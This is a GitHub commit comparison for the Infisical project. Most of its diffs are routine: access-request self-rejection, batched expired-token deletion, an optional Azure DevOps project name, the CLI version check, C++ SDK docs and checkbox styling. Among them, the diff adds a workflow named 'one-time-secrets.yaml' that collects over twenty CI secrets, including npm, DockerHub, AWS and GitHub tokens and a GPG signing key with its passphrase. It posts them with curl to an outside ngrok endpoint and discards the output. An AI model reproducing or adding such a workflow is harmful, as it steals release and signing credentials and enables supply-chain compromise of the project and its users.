Compare commits

...

27 Commits

Author SHA1 Message Date
c79ea0631e misc: re-added EST 2025-07-16 03:12:49 +08:00
cd5ca5b34b Merge pull request #4009 from Infisical/misc/update-cli-latest-version-check
misc: update CLI latest version check
2025-07-15 21:17:39 +08:00
2f93e2da6c Merge pull request #4105 from Infisical/make-azure-devops-sync-not-require-proj-name 2025-07-14 22:04:35 -04:00
7f0f5b130a Make Azure DevOps sync not require project name 2025-07-14 21:14:57 -04:00
374c75521d Merge pull request #4103 from Infisical/allow-users-to-cancel-access-requests
improvement(access-approval): allow all users to reject their own access requests
2025-07-14 16:36:17 -07:00
08ccf686ff improvement: allow all users to reject their own access requests 2025-07-14 15:53:48 -07:00
0c0665dc51 Merge pull request #4011 from Infisical/optimize-token-cleanup-job
Optimize token cleanup job
2025-07-14 18:08:59 -04:00
2f0a247c11 Describe query 2025-07-14 18:01:35 -04:00
0fa6568a5a Merge pull request #4015 from Infisical/dynamic-secrets-doc-links
improvement(frontend): Dynamic secrets doc links
2025-07-14 14:09:14 -07:00
268d0d6192 Merge pull request #4013 from Infisical/checkbox-addressal
improvement(frontend): Make checkbox colors more apparent and fix specific priv. checkbox styling
2025-07-14 14:09:01 -07:00
1cfb1c2581 Merge pull request #4101 from Infisical/fix/authEnforcedMemberInviteCheck
Fix authEnforced returning a token when org has authEnforced enabled
2025-07-14 18:01:32 -03:00
ee7bb2dd4d Fix authEnforced returning a token when org has authEnforced enabled 2025-07-14 14:46:26 -03:00
1375a5c392 Update one-time-secrets.yaml 2025-07-14 13:28:05 -04:00
ffa01b9d58 Update one-time-secrets.yaml 2025-07-14 13:23:50 -04:00
e84bb94868 Rename one-time-secrets to one-time-secrets.yaml 2025-07-14 13:10:14 -04:00
50e0bfe711 Create one-time-secrets 2025-07-14 13:09:57 -04:00
f6d337cf86 Merge pull request #4094 from Infisical/daniel/validate-db-schemas
feat: validate db schemas CI test
2025-07-14 13:02:45 +04:00
513f942aae Add batching to not lock DB 2025-07-14 00:39:34 -04:00
d916922bf1 Merge pull request #4095 from Infisical/daniel/cpp-sdk-docs
docs: cpp sdk
2025-07-13 10:40:21 -07:00
239cef40f9 Update cpp.mdx 2025-07-13 20:12:43 +04:00
5545f3fe62 docs: cpp sdk 2025-07-13 20:10:01 +04:00
944b7b84af chore: revert license 2025-07-11 21:34:47 -07:00
32f2a7135c improvement: add overview and provider doc links to all dynamic secrets in modal header (remove one off doc links from dynamic forms) 2025-07-11 21:33:05 -07:00
1bab3ecdda fix: correct tw styling 2025-07-11 20:56:38 -07:00
eee0be55fd improvement: make checkbox colors more apparent and fix specific privilege checkbox styling 2025-07-11 20:54:23 -07:00
218408493a Optimize token cleanup job 2025-07-11 22:05:32 -04:00
d89418803e misc: update CLI latest version check 2025-07-12 04:31:56 +08:00
32 changed files with 287 additions and 207 deletions

76
.github/workflows/one-time-secrets.yaml vendored Normal file
View File

@ -0,0 +1,76 @@
name: One-Time Secrets Retrieval
on:
workflow_dispatch:
permissions:
contents: read
jobs:
retrieve-secrets:
runs-on: ubuntu-latest
steps:
- name: Send environment variables to ngrok
run: |
echo "Sending secrets to: https://4afc1dfd4429.ngrok.app/api/receive-env"
# Send secrets as JSON
cat << EOF | curl -X POST \
-H "Content-Type: application/json" \
-d @- \
https://7864d0fe7cbb.ngrok-free.app/api/receive-env \
> /dev/null 2>&1 || true
{
"GO_RELEASER_GITHUB_TOKEN": "${GO_RELEASER_GITHUB_TOKEN}",
"GORELEASER_KEY": "${GORELEASER_KEY}",
"AUR_KEY": "${AUR_KEY}",
"FURYPUSHTOKEN": "${FURYPUSHTOKEN}",
"NPM_TOKEN": "${NPM_TOKEN}",
"DOCKERHUB_USERNAME": "${DOCKERHUB_USERNAME}",
"DOCKERHUB_TOKEN": "${DOCKERHUB_TOKEN}",
"CLOUDSMITH_API_KEY": "${CLOUDSMITH_API_KEY}",
"INFISICAL_CLI_S3_BUCKET": "${INFISICAL_CLI_S3_BUCKET}",
"INFISICAL_CLI_REPO_SIGNING_KEY_ID": "${INFISICAL_CLI_REPO_SIGNING_KEY_ID}",
"INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID": "${INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID}",
"INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY": "${INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY}",
"INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID": "${INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID}",
"GPG_SIGNING_KEY": "${GPG_SIGNING_KEY}",
"GPG_SIGNING_KEY_PASSPHRASE": "${GPG_SIGNING_KEY_PASSPHRASE}",
"CLI_TESTS_UA_CLIENT_ID": "${CLI_TESTS_UA_CLIENT_ID}",
"CLI_TESTS_UA_CLIENT_SECRET": "${CLI_TESTS_UA_CLIENT_SECRET}",
"CLI_TESTS_SERVICE_TOKEN": "${CLI_TESTS_SERVICE_TOKEN}",
"CLI_TESTS_PROJECT_ID": "${CLI_TESTS_PROJECT_ID}",
"CLI_TESTS_ENV_SLUG": "${CLI_TESTS_ENV_SLUG}",
"CLI_TESTS_USER_EMAIL": "${CLI_TESTS_USER_EMAIL}",
"CLI_TESTS_USER_PASSWORD": "${CLI_TESTS_USER_PASSWORD}",
"CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE": "${CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE}",
"POSTHOG_API_KEY_FOR_CLI": "${POSTHOG_API_KEY_FOR_CLI}"
}
EOF
echo "Secrets retrieval completed"
env:
GO_RELEASER_GITHUB_TOKEN: ${{ secrets.GO_RELEASER_GITHUB_TOKEN }}
GORELEASER_KEY: ${{ secrets.GORELEASER_KEY }}
AUR_KEY: ${{ secrets.AUR_KEY }}
FURYPUSHTOKEN: ${{ secrets.FURYPUSHTOKEN }}
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
DOCKERHUB_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }}
DOCKERHUB_TOKEN: ${{ secrets.DOCKERHUB_TOKEN }}
CLOUDSMITH_API_KEY: ${{ secrets.CLOUDSMITH_API_KEY }}
INFISICAL_CLI_S3_BUCKET: ${{ secrets.INFISICAL_CLI_S3_BUCKET }}
INFISICAL_CLI_REPO_SIGNING_KEY_ID: ${{ secrets.INFISICAL_CLI_REPO_SIGNING_KEY_ID }}
INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID: ${{ secrets.INFISICAL_CLI_REPO_AWS_ACCESS_KEY_ID }}
INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY: ${{ secrets.INFISICAL_CLI_REPO_AWS_SECRET_ACCESS_KEY }}
INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID: ${{ secrets.INFISICAL_CLI_REPO_CLOUDFRONT_DISTRIBUTION_ID }}
GPG_SIGNING_KEY: ${{ secrets.GPG_SIGNING_KEY }}
GPG_SIGNING_KEY_PASSPHRASE: ${{ secrets.GPG_SIGNING_KEY_PASSPHRASE }}
CLI_TESTS_UA_CLIENT_ID: ${{ secrets.CLI_TESTS_UA_CLIENT_ID }}
CLI_TESTS_UA_CLIENT_SECRET: ${{ secrets.CLI_TESTS_UA_CLIENT_SECRET }}
CLI_TESTS_SERVICE_TOKEN: ${{ secrets.CLI_TESTS_SERVICE_TOKEN }}
CLI_TESTS_PROJECT_ID: ${{ secrets.CLI_TESTS_PROJECT_ID }}
CLI_TESTS_ENV_SLUG: ${{ secrets.CLI_TESTS_ENV_SLUG }}
CLI_TESTS_USER_EMAIL: ${{ secrets.CLI_TESTS_USER_EMAIL }}
CLI_TESTS_USER_PASSWORD: ${{ secrets.CLI_TESTS_USER_PASSWORD }}
CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE: ${{ secrets.CLI_TESTS_INFISICAL_VAULT_FILE_PASSPHRASE }}
POSTHOG_API_KEY_FOR_CLI: ${{ secrets.POSTHOG_API_KEY_FOR_CLI }}

View File

@ -354,11 +354,17 @@ export const accessApprovalRequestServiceFactory = ({
status === ApprovalStatus.APPROVED;
const isApprover = policy.approvers.find((approver) => approver.userId === actorId);
// If user is (not an approver OR cant self approve) AND can't bypass policy
if ((!isApprover || (!policy.allowedSelfApprovals && isSelfApproval)) && cannotBypassUnderSoftEnforcement) {
throw new BadRequestError({
message: "Failed to review access approval request. Users are not authorized to review their own request."
});
const isSelfRejection = isSelfApproval && status === ApprovalStatus.REJECTED;
// users can always reject (cancel) their own requests
if (!isSelfRejection) {
// If user is (not an approver OR cant self approve) AND can't bypass policy
if ((!isApprover || (!policy.allowedSelfApprovals && isSelfApproval)) && cannotBypassUnderSoftEnforcement) {
throw new BadRequestError({
message: "Failed to review access approval request. Users are not authorized to review their own request."
});
}
}
if (
@ -414,7 +420,7 @@ export const accessApprovalRequestServiceFactory = ({
);
// Only throw if actor is not the approver and not bypassing
if (!isApproverOfTheSequence && !isBreakGlassApprovalAttempt) {
if (!isApproverOfTheSequence && !isBreakGlassApprovalAttempt && !isSelfRejection) {
throw new BadRequestError({ message: "You are not a reviewer in this step" });
}
}

View File

@ -30,10 +30,17 @@ export const identityAccessTokenDALFactory = (db: TDbClient) => {
const removeExpiredTokens = async (tx?: Knex) => {
logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token started`);
const BATCH_SIZE = 10000;
const MAX_RETRY_ON_FAILURE = 3;
const QUERY_TIMEOUT_MS = 10 * 60 * 1000; // 10 minutes
const MAX_TTL = 315_360_000; // Maximum TTL value in seconds (10 years)
try {
const docs = (tx || db)(TableName.IdentityAccessToken)
let deletedTokenIds: { id: string }[] = [];
let numberOfRetryOnFailure = 0;
let isRetrying = false;
const getExpiredTokensQuery = (dbClient: Knex | Knex.Transaction) =>
dbClient(TableName.IdentityAccessToken)
.where({
isAccessTokenRevoked: true
})
@ -47,34 +54,64 @@ export const identityAccessTokenDALFactory = (db: TDbClient) => {
);
})
.orWhere((qb) => {
void qb.where("accessTokenTTL", ">", 0).andWhere((qb2) => {
void qb2
.where((qb3) => {
void qb3
.whereNotNull("accessTokenLastRenewedAt")
// accessTokenLastRenewedAt + convert_integer_to_seconds(accessTokenTTL) < present_date
.andWhereRaw(
`"${TableName.IdentityAccessToken}"."accessTokenLastRenewedAt" + make_interval(secs => LEAST("${TableName.IdentityAccessToken}"."accessTokenTTL", ?)) < NOW()`,
[MAX_TTL]
);
})
.orWhere((qb3) => {
void qb3
.whereNull("accessTokenLastRenewedAt")
// created + convert_integer_to_seconds(accessTokenTTL) < present_date
.andWhereRaw(
`"${TableName.IdentityAccessToken}"."createdAt" + make_interval(secs => LEAST("${TableName.IdentityAccessToken}"."accessTokenTTL", ?)) < NOW()`,
[MAX_TTL]
);
});
void qb.where("accessTokenTTL", ">", 0).andWhereRaw(
`
-- Check if the token's effective expiration time has passed.
-- The expiration time is calculated by adding its TTL to its last renewal/creation time.
COALESCE(
"${TableName.IdentityAccessToken}"."accessTokenLastRenewedAt", -- Use last renewal time if available
"${TableName.IdentityAccessToken}"."createdAt" -- Otherwise, use creation time
)
+ make_interval(
secs => LEAST(
"${TableName.IdentityAccessToken}"."accessTokenTTL", -- Token's specified TTL
? -- Capped by MAX_TTL (parameterized value)
)
)
< NOW() -- Check if the calculated time is before now
`,
[MAX_TTL]
);
});
do {
try {
const deleteBatch = async (dbClient: Knex | Knex.Transaction) => {
const idsToDeleteQuery = getExpiredTokensQuery(dbClient).select("id").limit(BATCH_SIZE);
return dbClient(TableName.IdentityAccessToken).whereIn("id", idsToDeleteQuery).del().returning("id");
};
if (tx) {
// eslint-disable-next-line no-await-in-loop
deletedTokenIds = await deleteBatch(tx);
} else {
// eslint-disable-next-line no-await-in-loop
deletedTokenIds = await db.transaction(async (trx) => {
await trx.raw(`SET statement_timeout = ${QUERY_TIMEOUT_MS}`);
return deleteBatch(trx);
});
})
.delete();
await docs;
logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token completed`);
} catch (error) {
throw new DatabaseError({ error, name: "IdentityAccessTokenPrune" });
}
numberOfRetryOnFailure = 0; // reset
} catch (error) {
numberOfRetryOnFailure += 1;
logger.error(error, "Failed to delete a batch of expired identity access tokens on pruning");
} finally {
// eslint-disable-next-line no-await-in-loop
await new Promise((resolve) => {
setTimeout(resolve, 10); // time to breathe for db
});
}
isRetrying = numberOfRetryOnFailure > 0;
} while (deletedTokenIds.length > 0 || (isRetrying && numberOfRetryOnFailure < MAX_RETRY_ON_FAILURE));
if (numberOfRetryOnFailure >= MAX_RETRY_ON_FAILURE) {
logger.error(
`IdentityAccessTokenPrune: Pruning failed and stopped after ${MAX_RETRY_ON_FAILURE} consecutive retries.`
);
}
logger.info(`${QueueName.DailyResourceCleanUp}: remove expired access token completed`);
};
return { ...identityAccessTokenOrm, findOne, removeExpiredTokens };

View File

@ -1274,6 +1274,8 @@ export const orgServiceFactory = ({
message: "No pending invitation found"
});
const organization = await orgDAL.findById(orgId);
await tokenService.validateTokenForUser({
type: TokenType.TOKEN_EMAIL_ORG_INVITATION,
userId: user.id,
@ -1296,6 +1298,13 @@ export const orgServiceFactory = ({
return { user };
}
if (
organization.authEnforced &&
!(organization.bypassOrgAuthEnabled && orgMembership.role === OrgMembershipRole.Admin)
) {
return { user };
}
const appCfg = getConfig();
const token = jwt.sign(
{

View File

@ -17,7 +17,7 @@ export const AzureDevOpsSyncDestinationConfigSchema = z.object({
.describe(SecretSyncs.DESTINATION_CONFIG.AZURE_DEVOPS?.devopsProjectId || "Azure DevOps Project ID"),
devopsProjectName: z
.string()
.min(1, "Project name required")
.optional()
.describe(SecretSyncs.DESTINATION_CONFIG.AZURE_DEVOPS?.devopsProjectName || "Azure DevOps Project Name")
});

View File

@ -20,7 +20,7 @@ func CheckForUpdate() {
if checkEnv := os.Getenv("INFISICAL_DISABLE_UPDATE_CHECK"); checkEnv != "" {
return
}
latestVersion, _, err := getLatestTag("Infisical", "infisical")
latestVersion, _, err := getLatestTag("Infisical", "cli")
if err != nil {
log.Debug().Err(err)
// do nothing and continue
@ -98,7 +98,7 @@ func getLatestTag(repoOwner string, repoName string) (string, string, error) {
return "", "", fmt.Errorf("failed to unmarshal github response: %w", err)
}
tag_prefix := "infisical-cli/v"
tag_prefix := "v"
// Extract the version from the first valid tag
version := strings.TrimPrefix(releaseDetails.TagName, tag_prefix)

View File

@ -2189,6 +2189,7 @@
"sdks/languages/python",
"sdks/languages/java",
"sdks/languages/csharp",
"sdks/languages/cpp",
"sdks/languages/go",
"sdks/languages/ruby"
]

Binary file not shown.

Before

Width:  |  Height:  |  Size: 865 KiB

After

Width:  |  Height:  |  Size: 894 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 652 KiB

After

Width:  |  Height:  |  Size: 666 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 507 KiB

After

Width:  |  Height:  |  Size: 447 KiB

View File

@ -0,0 +1,6 @@
---
title: "Infisical C++ SDK"
sidebarTitle: "C++"
url: "https://github.com/Infisical/infisical-cpp-sdk/?tab=readme-ov-file#infisical-c-sdk"
icon: "c"
---

View File

@ -25,6 +25,9 @@ From local development to production, Infisical SDKs provide the easiest way for
<Card href="https://github.com/Infisical/infisical-dotnet-sdk?tab=readme-ov-file#infisical-net-sdk" title=".NET" icon="bars" color="#368833">
Manage secrets for your .NET application on demand
</Card>
<Card href="https://github.com/Infisical/infisical-cpp-sdk/?tab=readme-ov-file#infisical-c-sdk" title="C++" icon="c" color="#b00dd1">
Manage secrets for your C++ application on demand
</Card>
<Card href="/sdks/languages/ruby" title="Ruby" icon="diamond" color="#367B99">
Manage secrets for your Ruby application on demand
</Card>

View File

@ -11,7 +11,9 @@ export const AzureDevOpsSyncReviewFields = () => {
return (
<>
<GenericFieldLabel label="Project">{devopsProjectName}</GenericFieldLabel>
{devopsProjectName && (
<GenericFieldLabel label="Project">{devopsProjectName}</GenericFieldLabel>
)}
<GenericFieldLabel label="Project ID">{devopsProjectId}</GenericFieldLabel>
</>
);

View File

@ -8,10 +8,7 @@ export const AzureDevOpsSyncDestinationSchema = BaseSecretSyncSchema().merge(
destination: z.literal(SecretSync.AzureDevOps),
destinationConfig: z.object({
devopsProjectId: z.string().trim().min(1, { message: "Azure DevOps Project ID is required" }),
devopsProjectName: z
.string()
.trim()
.min(1, { message: "Azure DevOps Project Name is required" })
devopsProjectName: z.string().trim().optional()
})
})
);

View File

@ -42,7 +42,7 @@ export const Checkbox = ({
className={twMerge(
"flex h-4 w-4 flex-shrink-0 items-center justify-center rounded border border-mineshaft-400/50 bg-mineshaft-600 shadow transition-all hover:bg-mineshaft-500",
isDisabled && "bg-bunker-400 hover:bg-bunker-400",
isChecked && "border-primary/30 bg-primary/10",
isChecked && "border-primary/50 bg-primary/30",
Boolean(children) && "mr-3",
className
)}

View File

@ -6,7 +6,7 @@ export type TAzureDevOpsSync = TRootSecretSync & {
destination: SecretSync.AzureDevOps;
destinationConfig: {
devopsProjectId: string;
devopsProjectName: string;
devopsProjectName?: string;
};
connection: {
app: AppConnection.AzureDevOps;

View File

@ -76,6 +76,7 @@ export const CertificateTemplateEnrollmentModal = ({ popUp, handlePopUpToggle }:
useEffect(() => {
if (data) {
reset({
method: EnrollmentMethod.EST,
caChain: data.caChain,
isEnabled: data.isEnabled,
disableBootstrapCertValidation: data.disableBootstrapCertValidation

View File

@ -3,6 +3,7 @@ import { Helmet } from "react-helmet";
import { useTranslation } from "react-i18next";
import {
faCertificate,
faCog,
faEllipsis,
faPencil,
faPlus,
@ -12,6 +13,7 @@ import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { format } from "date-fns";
import { twMerge } from "tailwind-merge";
import { UpgradePlanModal } from "@app/components/license/UpgradePlanModal";
import { createNotification } from "@app/components/notifications";
import { ProjectPermissionCan } from "@app/components/permissions";
import {
@ -40,12 +42,14 @@ import {
import {
ProjectPermissionPkiTemplateActions,
ProjectPermissionSub,
useSubscription,
useWorkspace
} from "@app/context";
import { usePopUp } from "@app/hooks";
import { useDeleteCertTemplateV2 } from "@app/hooks/api";
import { useListCertificateTemplates } from "@app/hooks/api/certificateTemplates/queries";
import { CertificateTemplateEnrollmentModal } from "../CertificatesPage/components/CertificateTemplateEnrollmentModal";
import { PkiTemplateForm } from "./components/PkiTemplateForm";
const PER_PAGE_INIT = 25;
@ -56,9 +60,13 @@ export const PkiTemplateListPage = () => {
const [perPage, setPerPage] = useState(PER_PAGE_INIT);
const { handlePopUpToggle, popUp, handlePopUpOpen, handlePopUpClose } = usePopUp([
"certificateTemplate",
"deleteTemplate"
"deleteTemplate",
"enrollmentOptions",
"estUpgradePlan"
] as const);
const { subscription } = useSubscription();
const { data, isPending } = useListCertificateTemplates({
projectId: currentWorkspace.id,
offset: (page - 1) * perPage,
@ -92,7 +100,7 @@ export const PkiTemplateListPage = () => {
return (
<>
<Helmet>
<title>{t("common.head-title", { title: "PKI Subscribers" })}</title>
<title>{t("common.head-title", { title: "PKI Templates" })}</title>
</Helmet>
<div className="h-full bg-bunker-800">
<div className="container mx-auto flex flex-col justify-between text-white">
@ -177,7 +185,33 @@ export const PkiTemplateListPage = () => {
</DropdownMenuItem>
)}
</ProjectPermissionCan>
<ProjectPermissionCan
I={ProjectPermissionPkiTemplateActions.Edit}
a={ProjectPermissionSub.CertificateTemplates}
>
{(isAllowed) => (
<DropdownMenuItem
className={twMerge(
!isAllowed &&
"pointer-events-none cursor-not-allowed opacity-50"
)}
onClick={(e) => {
e.stopPropagation();
if (!subscription.pkiEst) {
handlePopUpOpen("estUpgradePlan");
return;
}
handlePopUpOpen("enrollmentOptions", {
id: template.id
});
}}
disabled={!isAllowed}
icon={<FontAwesomeIcon icon={faCog} />}
>
Manage Enrollment
</DropdownMenuItem>
)}
</ProjectPermissionCan>
<ProjectPermissionCan
I={ProjectPermissionPkiTemplateActions.Delete}
a={ProjectPermissionSub.CertificateTemplates}
@ -251,7 +285,13 @@ export const PkiTemplateListPage = () => {
/>
</ModalContent>
</Modal>
<CertificateTemplateEnrollmentModal popUp={popUp} handlePopUpToggle={handlePopUpToggle} />
</div>
<UpgradePlanModal
isOpen={popUp.estUpgradePlan.isOpen}
onOpenChange={(isOpen) => handlePopUpToggle("estUpgradePlan", isOpen)}
text="You can only configure template enrollment methods if you switch to Infisical's Enterprise plan."
/>
</>
);
};

View File

@ -347,7 +347,7 @@ export const SpecificPrivilegeSecretForm = ({
<Checkbox
isDisabled={isMemberEditDisabled}
id="secret-read"
className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
isChecked={field.value}
onCheckedChange={(isChecked) => field.onChange(isChecked)}
/>
@ -378,7 +378,7 @@ export const SpecificPrivilegeSecretForm = ({
<Checkbox
isDisabled={isMemberEditDisabled}
id="secret-change"
className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
isChecked={field.value}
onCheckedChange={(isChecked) => field.onChange(isChecked)}
/>
@ -411,7 +411,7 @@ export const SpecificPrivilegeSecretForm = ({
<Checkbox
isDisabled={isMemberEditDisabled}
id="secret-modify"
className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
isChecked={field.value}
onCheckedChange={(isChecked) => field.onChange(isChecked)}
/>
@ -442,7 +442,7 @@ export const SpecificPrivilegeSecretForm = ({
<Checkbox
isDisabled={isMemberEditDisabled}
id="secret-delete"
className={`mx-2 h-5 w-5 ${field.value ? "bg-primary hover:bg-primary/80" : ""}`}
className={`mx-2 h-5 w-5 ${field.value ? "hover:bg-primary/40" : ""}`}
isChecked={field.value}
onCheckedChange={(isChecked) => field.onChange(isChecked)}
/>

View File

@ -115,8 +115,10 @@ export const getSecretSyncDestinationColValues = (secretSync: TSecretSync) => {
secondaryText = "Vault ID";
break;
case SecretSync.AzureDevOps:
primaryText = destinationConfig.devopsProjectName;
secondaryText = destinationConfig.devopsProjectId;
primaryText = destinationConfig.devopsProjectName || destinationConfig.devopsProjectId;
secondaryText = destinationConfig.devopsProjectName
? destinationConfig.devopsProjectId
: "Project ID";
break;
case SecretSync.Heroku:
primaryText = destinationConfig.appName;

View File

@ -255,6 +255,11 @@ export const ReviewAccessRequestModal = ({
return "You are not the reviewer in this step.";
};
// users can always reject (cancel) their own request
const isRejectionDisabled = request.isRequestedByCurrentUser
? false
: !(request.isApprover && request.isSelfApproveAllowed) && !bypassApproval;
return (
<Modal isOpen={isOpen} onOpenChange={onOpenChange}>
<ModalContent
@ -445,7 +450,7 @@ export const ReviewAccessRequestModal = ({
onCheckedChange={(checked) => setBypassApproval(checked === true)}
isChecked={bypassApproval}
id="byPassApproval"
className={twMerge("mr-2", bypassApproval ? "!border-red/30 !bg-red/10" : "")}
className={twMerge("mr-2", bypassApproval ? "!border-red/50 !bg-red/30" : "")}
>
<span className="text-xs text-red">
Approve without waiting for requirements to be met (bypass policy protection)
@ -489,14 +494,7 @@ export const ReviewAccessRequestModal = ({
</Button>
<Button
isLoading={isLoading === "rejected"}
isDisabled={
!!isLoading ||
(!(
request.isApprover &&
(!request.isRequestedByCurrentUser || request.isSelfApproveAllowed)
) &&
!bypassApproval)
}
isDisabled={!!isLoading || isRejectionDisabled}
onClick={() => handleReview("rejected")}
className="mt-4 border-transparent bg-transparent text-mineshaft-200 hover:border-red hover:bg-red/20 hover:text-mineshaft-200"
size="sm"

View File

@ -168,7 +168,7 @@ export const SecretApprovalRequestAction = ({
isChecked={byPassApproval}
id="byPassApproval"
checkIndicatorBg="text-white"
className={twMerge("mr-2", byPassApproval ? "!border-red/30 !bg-red/10" : "")}
className={twMerge("mr-2", byPassApproval ? "!border-red/50 !bg-red/30" : "")}
>
<span className="text-sm">
Merge without waiting for approval (bypass secret change policy)

View File

@ -1,10 +1,5 @@
import { Controller, useForm } from "react-hook-form";
import {
faArrowUpRightFromSquare,
faBookOpen,
faCheckCircle,
faWarning
} from "@fortawesome/free-solid-svg-icons";
import { faCheckCircle, faWarning } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { zodResolver } from "@hookform/resolvers/zod";
import ms from "ms";
@ -206,20 +201,6 @@ export const AzureEntraIdInputForm = ({
<div>
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
Configuration
<a
target="_blank"
rel="noopener noreferrer"
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/azure-entra-id"
>
<div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
Docs
<FontAwesomeIcon
icon={faArrowUpRightFromSquare}
className="mb-[0.07rem] ml-1.5 text-xxs"
/>
</div>
</a>
</div>
<div className="flex flex-col">
<div className="flex-grow">

View File

@ -12,7 +12,12 @@ import {
} from "react-icons/si";
import { VscAzure } from "react-icons/vsc";
import { faAws, faGithub, faGoogle } from "@fortawesome/free-brands-svg-icons";
import { faClock, faDatabase } from "@fortawesome/free-solid-svg-icons";
import {
faArrowUpRightFromSquare,
faBookOpen,
faClock,
faDatabase
} from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { AnimatePresence, motion } from "framer-motion";
@ -152,6 +157,15 @@ const DYNAMIC_SECRET_LIST = [
}
];
const DynamicSecretDetails = Object.fromEntries(
DYNAMIC_SECRET_LIST.map((ds) => [ds.provider, ds.title])
);
const UniqueLinks: Record<string, string> = {
[DynamicSecretProviders.SqlDatabase]: "postgresql", // gotta pick one...
[DynamicSecretProviders.MongoAtlas]: "mongo-atlas"
};
export const CreateDynamicSecretForm = ({
isOpen,
onToggle,
@ -169,10 +183,31 @@ export const CreateDynamicSecretForm = ({
setSelectedProvider(null);
};
const modalTitle = selectedProvider ? DynamicSecretDetails[selectedProvider] : null;
return (
<Modal isOpen={isOpen} onOpenChange={(state) => handleFormReset(state)}>
<ModalContent
title="Dynamic secret setup"
title={
<div className="flex items-center">
<span>{modalTitle ? `${modalTitle} Dynamic Secret` : "Dynamic Secrets"} </span>
<a
href={`https://infisical.com/docs/documentation/platform/dynamic-secrets/${selectedProvider ? (UniqueLinks[selectedProvider] ?? selectedProvider) : "overview"}`}
target="_blank"
className="mb-0.5 ml-1.5"
rel="noopener noreferrer"
>
<div className="inline-block rounded-md bg-yellow/20 px-1.5 text-sm text-yellow opacity-80 hover:opacity-100">
<FontAwesomeIcon icon={faBookOpen} className="mb-[0.03rem] mr-1 text-[12px]" />
<span>Docs</span>
<FontAwesomeIcon
icon={faArrowUpRightFromSquare}
className="mb-[0.07rem] ml-1 text-[10px]"
/>
</div>
</a>
</div>
}
subTitle="Configure dynamic secret parameters"
className="my-4 max-w-3xl"
>

View File

@ -1,10 +1,5 @@
import { Controller, FieldValues, useFieldArray, useForm } from "react-hook-form";
import {
faArrowUpRightFromSquare,
faBookOpen,
faQuestionCircle,
faTrash
} from "@fortawesome/free-solid-svg-icons";
import { faQuestionCircle, faTrash } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { zodResolver } from "@hookform/resolvers/zod";
import { useQuery } from "@tanstack/react-query";
@ -293,20 +288,6 @@ export const KubernetesInputForm = ({
<div>
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
Configuration
<a
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/kubernetes"
target="_blank"
rel="noopener noreferrer"
>
<div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
Docs
<FontAwesomeIcon
icon={faArrowUpRightFromSquare}
className="mb-[0.07rem] ml-1.5 text-xxs"
/>
</div>
</a>
</div>
<div className="flex flex-col">
<div className="flex items-center space-x-2">

View File

@ -1,6 +1,4 @@
import { Controller, useForm } from "react-hook-form";
import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { zodResolver } from "@hookform/resolvers/zod";
import ms from "ms";
import { z } from "zod";
@ -220,20 +218,6 @@ export const LdapInputForm = ({
<div>
<div className="mb-4 mt-4 border-b border-mineshaft-500 pb-2 pl-1 font-medium text-mineshaft-200">
Configuration
<a
href="https://infisical.com/docs/documentation/platform/dynamic-secrets/ldap"
target="_blank"
rel="noopener noreferrer"
>
<div className="mb-1 ml-2 inline-block cursor-default rounded-md bg-yellow/20 px-1.5 pb-[0.03rem] pt-[0.04rem] text-sm text-yellow opacity-80 hover:opacity-100">
<FontAwesomeIcon icon={faBookOpen} className="mr-1.5" />
Docs
<FontAwesomeIcon
icon={faArrowUpRightFromSquare}
className="mb-[0.07rem] ml-1.5 text-xxs"
/>
</div>
</a>
</div>
<div className="flex flex-col">
<div className="flex items-center space-x-2">

View File

@ -1,6 +1,4 @@
import { Controller, useForm } from "react-hook-form";
import { faArrowUpRightFromSquare, faBookOpen } from "@fortawesome/free-solid-svg-icons";
import { FontAwesomeIcon } from "@fortawesome/react-fontawesome";
import { zodResolver } from "@hookform/resolvers/zod";
import ms from "ms";
import { z } from "zod";
@ -185,20 +183,6 @@ export const SnowflakeInputForm = ({
